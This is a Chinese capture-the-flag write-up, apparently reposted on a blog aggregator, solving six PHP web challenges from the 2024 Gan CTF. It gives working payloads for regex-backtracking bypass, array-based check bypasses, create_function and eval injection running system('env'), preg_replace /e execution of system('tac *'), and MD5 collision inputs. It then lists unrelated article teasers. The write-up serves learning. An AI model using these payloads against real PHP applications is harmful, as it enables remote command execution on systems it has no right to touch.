2024赣ctf-web -wp

1.你到底多想要flag???

首先来解决第一关:

先了解一下stripos();

并且此函数处理数组返回false。而且pre_match同样遇见数组是返回false(解释一下正则

  • i:这是正则表达式的修饰符,代表“不区分大小写”,意味着“FLAG”、“Flag”等大小写形式都会被匹配。
  • s:这是正则表达式的修饰符,代表“单行模式”,它允许.匹配包括换行符在内的任何字符。

)。所以我们传入一个数组,callme[]=flag,这里就绕过了pre_match,stripos()遇见数组放回NULL,显然不是强等于false。

然后开始第二关,解释一下正则:

第二关这里要求striops等于true,这里数组绕不开,看官方wp要利用preg_match字符串回溯绕过

import requests

url = 'http://8.136.110.121:8002/?callme[]=flag'
data = {
    'want': 'a' * 1000000 + 'flag'
}

# 发送POST请求,使用data参数传递数据
r = requests.post(url, data=data).text

# 打印服务器响应的内容
print(r)

2.include_me

file_get_contents将内容字符串读入,也以字符串返回,不会执行里面的命令,它也以伪协议绕过。include更是一个常见的文件包含函数,自然也可以用伪协议。先查目录。

目录没有查根目录。

flag文件没找

找readflag。

3.php_master

这里要先了解一下intval

PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval函数-CSDN博客

因此要实现$num==="10086"为false,intval($num,0)==10086为ture,显然传num=10086a(以数字开头,intval直接转为整数。)。(这里也可以转8或16进制编码绕过,因为intval后一个参数是0,会根据传入的类型做相应判断)

然后就是要了解create_function,可以看看此文

ctfshow web147(create_function函数命令执行) - hithub - 博客园

其实就是;}闭合前⾯的语句,然后⽤/*注释掉; 中间就是我们想要执⾏的php代码了。

所以最后就是num=10086a&code=;}system(' 命令');

这里我试了很多命令无效,最后只能env命令,其本身用于显示系统中定义的环境变量,包括用户的环境变量和系统级的环境变量。

?num=0x2766&code=;}system('env');/*

?num=10086a&code=;}system('env');/*

这里有点不理解,这只能在bp进行,hackbar不行。

4.rceme

看了代码和提示,知道flag再环境里,显然是system('ls'),但是cmd不能直接传这个,应为由于eval函数会将#fffffilm拼接到cmd参数值的两端,这会破坏system('env');命令的有效性,所以前面就用%0a(换行符)使命令不被注释,然后用_HALT_COMPILER()(让编译器停止编译的函数,当编译器执行到这之后就不再去解析后面的部分了)让后面的fffffilm失效。最终payload:

?cmd=%0asystem('env');__HALT_COMPILER();

5.

此题post提交的a,b,c就用数组绕过。

post:a[]=1&b[]=2&c[]=1

这个A_a_B.b这里需要注意一下,在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、.、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。根据代码还需要换行符绕过一下pre正则(⾮多⾏模式下, $ 会忽略在句尾的 %0a)。

get:A[a_B.b=nihao%0a

preg_replace函数看看例子。

而函数中的 /e 这个修饰符的意思就是让 正则替换之后将 replacement 参数当作 PHP 代码

所以

get:a=/1/e&b=system('tac *')&c=1

综上:

get:a=/1/e&b=system('tac *')&c=1&A[a_B.b=nihao%0a
post:a[]=1&b[]=2&c[]=1

6.ez_md5

这个game就直接数组绕过,没什么说,然后two与flag限制了字符,所以要强碰撞,这⾥使⽤⼯具fastcoll,现将我们已知的写⼊⼀个txt⽂件中,在将⽂件拖到⼯具上就会⽣成两段加密后相等的md5值了,因为会纯在不可⻅字符,所以要将⽂件编码,这⾥给出php脚本,放在统⼀⽬录下,或者指定⽂件路径也⾏。

<?php 
function readmyfile($path){
 $fh = fopen($path, "rb");
 $data = fread($fh, filesize($path));
 fclose($fh);
 return $data;
}
$a = urlencode(readmyfile("D:\网安工具\Md5collision-master\Md5collision-master\a_msg1.txt"));
$b = urlencode(readmyfile("D:\网安工具\Md5collision-master\Md5collision-master\a_msg2.txt"));//我这里直接指定路径了。
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}

所以payload

​
GET:
Game1[]=1&Game2[]=2&Two1=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%
EA2%81%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%
7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%
B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%
1
1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&Two=psycho%0A%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%AD
Z%AF%3C%8A%13V%B5%96%18m%A5%EA2%81%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%
D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%
D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8
%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
POST:
flag=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
r%1EO%0BN%81%F9t%A2%17y%8CH%7F.Q%B8%ACV%A4%13%7D%A7%82%1F%F6%83%D6%29%1E%15%0D%
BA%DB%04%EC%BE%2Bs%F2%EB-
l%5B%BB%D3I%40Bf%10%1Af%A5%B5%89%D13xwsi%CD%8F%A9%D1%84%9B%12M%D3%28%05%B8%FA%1
2-
Ke%FF%C27%F1%3A%00%FA%00V%C9%DB%14%C5Qa%5D2%85%87W%B6iZ%93%C1%9Bk%D0%CFmAS%CA%C
3%AF%BA%EB%40%A5%D8Y%D9%DC%F1O%9C%84%DA%A4&f1ag=%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00r%1EO%0BN%81%F9t%A2%17y%8CH%7F.Q%B8%
ACV%A4%13%7D%A7%82%1F%F6%83%D6%29%1E%15%0D%BA%DB%04%EC%BE%2Bs%F2%EB-
l%5B%BB%D3I%40Bf%10%1Af%A5%B5%89%D13xwsi%CD%8F%A9%D1%84%9B%12M%D3%28%05%B8%FA%1
2-
Ke%FF%C27%F1%3A%00%FA%00V%C9%DB%14%C5Qa%5D2%85%87W%B6iZ%93%C1%9Bk%D0%CFmAS%CA%C
3%AF%BA%EB%40%A5%D8Y%D9%DC%F1O%9C%84%DA%A4

​

(这payload是官方的,依我的理解,第一个强碰撞txt可以不写入,第二个强碰撞txt写了play,然后因为第二个用.连接了play,所以再将碰撞后的play删了,就构成这个payload)payload仅供参考,每次碰撞结果不同。

工具:GitHub - iamjazz/Md5collision: Md5碰撞生成器

结语:赣ctf对当时的我太难了,学了一段时间才来复现,也只是复现了一些php特性的题,后面的php反序列,还要什么pop本想钻一下,靶场关了,所以复现完这些代码题结束。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/923494.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

计算机毕业设计Python+大模型美食推荐系统 美食可视化 美食数据分析大屏 美食爬虫 美团爬虫 机器学习 大数据毕业设计 Django Vue.js

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

Linux 查看内核日志的方法

文章目录 1. dmesg 命令一. 介绍内核环形缓冲区的特点 二. 主要功能三. dmesg 使用 2. 查看kmsg文件/dev/kmsg 的用途使用 /dev/kmsg与 dmesg 的关系 3. 内核日志消息的打印行为 1. dmesg 命令 一. 介绍 dmesg&#xff08;display message 或 display driver message 的缩写&…

Perforce SAST专家详解:自动驾驶汽车的安全与技术挑战,Klocwork、Helix QAC等静态代码分析成必备合规性工具

自动驾驶汽车安全吗&#xff1f;现代汽车的软件包含1亿多行代码&#xff0c;支持许多不同的功能&#xff0c;如巡航控制、速度辅助和泊车摄像头。而且&#xff0c;这些嵌入式系统中的代码只会越来越复杂。 随着未来汽车的互联程度越来越高&#xff0c;这一趋势还将继续。汽车越…

从Full-Text Search全文检索到RAG检索增强

从Full-Text Search全文检索到RAG检索增强 时光飞逝&#xff0c;转眼间六年过去了&#xff0c;六年前铁蛋优化单表千万级数据查询性能的场景依然历历在目&#xff0c;铁蛋也从最开始做CRUD转行去了大数据平台开发&#xff0c;混迹包装开源的业务&#xff0c;机缘巧合下做了实时…

LLM PPT Translator

LLM PPT Translator 引言Github 地址UI PreviewTranslated Result Samples 引言 周末开发了1个PowerPoint文档翻译工具&#xff0c;上传PowerPoint文档&#xff0c;指定想翻译的目标语言&#xff0c;通过LLM的能力将文档翻译成目标语言的文档。 Github 地址 https://github.…

【踩坑】git中文乱码问题

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你&#xff0c;欢迎[点赞、收藏、关注]哦~ 背景说明 使用git diff显示中文乱码&#xff0c;如&#xff1a; 修复方法 执行一次&#xff1a; export LESSCHARSETutf-8 如果需要下次登录免输入…

安装Docker报错TCP connection reset by peer或者Timeout

原因&#xff1a;访问的外网下载导致超时或者断连接报错 修改为国内阿里下载地址 yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

Linux宝塔部署wordpress网站更换服务器IP后无法访问管理后台和打开网站页面显示错乱

一、背景&#xff1a; wordpress网站搬家&#xff0c;更换服务器IP后&#xff0c;如果没有域名时&#xff0c;使用服务器IP地址无法访问管理后台和打开网站页面显示错乱。 二、解决方法如下&#xff1a; 1.wordpress搬家后&#xff0c;在新服务器上&#xff0c;新建站点时&am…

Rust Newtype模式(通过结构体封装现有类型来创建新的类型)(单字段结构体,通过.0访问)模式匹配、解构、DerefMut

文章目录 深入理解Rust中的Newtype模式什么是Newtype模式&#xff1f;Newtype模式的基本形式Newtype的访问访问 Newtype 的值1. 通过 .0 访问字段2. 通过方法访问3. 通过模式匹配&#xff08;解构&#xff09;访问 总结 Newtype模式的应用场景1. 类型安全2. 增强可读性3. 定制化…

【ArcGIS Pro】实现一下完美的坐标点标注

在CAD里利用湘源可以很快点出一个完美的坐标点标注。 但是在ArcGIS Pro中要实现这个效果却并不容易。 虽然有点标题党&#xff0c;这里就尽量在ArcGIS Pro中实现一下。 01 标注实现方法 首先是准备工作&#xff0c;准备一个点要素图层&#xff0c;包含xy坐标字段。 在地图框…

【ArcGIS Pro实操第10期】统计某个shp文件中不同区域内的站点数

统计某个shp文件中不同区域内的站点数 方法 1&#xff1a;使用“空间连接 (Spatial Join)”工具方法 2&#xff1a;使用“点计数 (Point Count)”工具方法 3&#xff1a;通过“选择 (Select by Location)”统计方法 4&#xff1a;通过“Python 脚本 (ArcPy)”实现参考 在 ArcGI…

学习threejs,使用设置lightMap光照贴图创建阴影效果

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️THREE.MeshLambertMaterial…

Cocos编辑器

1、下载 下载地址&#xff1a;https://www.cocos.com/creator-download 2、编辑器界面介绍 官方链接&#xff1a;https://docs.cocos.com/creator/3.8/manual/zh/editor/ 3、项目结构 官方链接&#xff1a;https://docs.cocos.com/creator/3.8/manual/zh/getting-started/…

C++11特性(详解)

目录 1.C11简介 2.列表初始化 3.声明 1.auto 2.decltype 3.nullptr 4.范围for循环 5.智能指针 6.STL的一些变化 7.右值引用和移动语义 1.左值引用和右值引用 2.左值引用和右值引用的比较 3.右值引用的使用场景和意义 4.右值引用引用左值及其一些更深入的使用场景分…

Notepad++ 替换所有数字给数字加单引号

前言 今天遇到这样一个场景&#xff1a; 要去更新某张表里 code1,2,3,4,5,6 的数据&#xff0c;把它的 name 设置为 ‘张三’ 但是 code在数据库里面的字段类型是 vachar(64)&#xff0c;它自身携带索引 原本可以这样写 SQL: update tableA set namezhangsan where code in …

Django 路由层

1. 路由基础概念 URLconf (URL 配置)&#xff1a;Django 的路由系统是基于 urls.py 文件定义的。路径匹配&#xff1a;通过模式匹配 URL&#xff0c;并将请求传递给对应的视图处理函数。命名路由&#xff1a;每个路由可以定义一个名称&#xff0c;用于反向解析。 2. 基本路由配…

工作中可以用到的前端小知识(不定时更新)

1、split 结合 filter(Boolean)使用&#xff0c;可以过滤空字符 2、分割 Unicode 字符 用 Array.from() 实现 const text "&#x1f44d;&#x1f60a;&#x1f468;‍&#x1f469;‍&#x1f466;"; const result Array.from(text); console.log(result); // 输…

第R4周:LSTM-火灾温度预测(TensorFlow版)

>- **&#x1f368; 本文为[&#x1f517;365天深度学习训练营]中的学习记录博客** >- **&#x1f356; 原作者&#xff1a;[K同学啊]** 往期文章可查阅&#xff1a; 深度学习总结 任务说明&#xff1a;数据集中提供了火灾温度&#xff08;Tem1&#xff09;、一氧化碳浓度…

CTF-Hub SQL 报错注入(纯手动注入)

​ 当输入1时&#xff0c;发现只有查询正确&#xff0c;基本上可以判断出没有回显 开始注入(工具hackerBar) 题目是报错注入&#xff0c;方向就比较明显&#xff0c;大致说一下用到的函数和原理。 常见报错注入函数&#xff1a; 通过 floor() 报错注入通过 extractValue() …

创建HTTPS网站

每天&#xff0c;我们都会听到网络上发生身份盗窃和数据侵权的案例&#xff0c;这导致用户对自己访问的网站更加怀疑。他们开始更加了解自己将个人信息放在哪里以及信任哪些类型的网站。了解如何使网站使用HTTPS变得比以往任何时候都更加重要。 解读缩略词&#xff1a;HTTP与HT…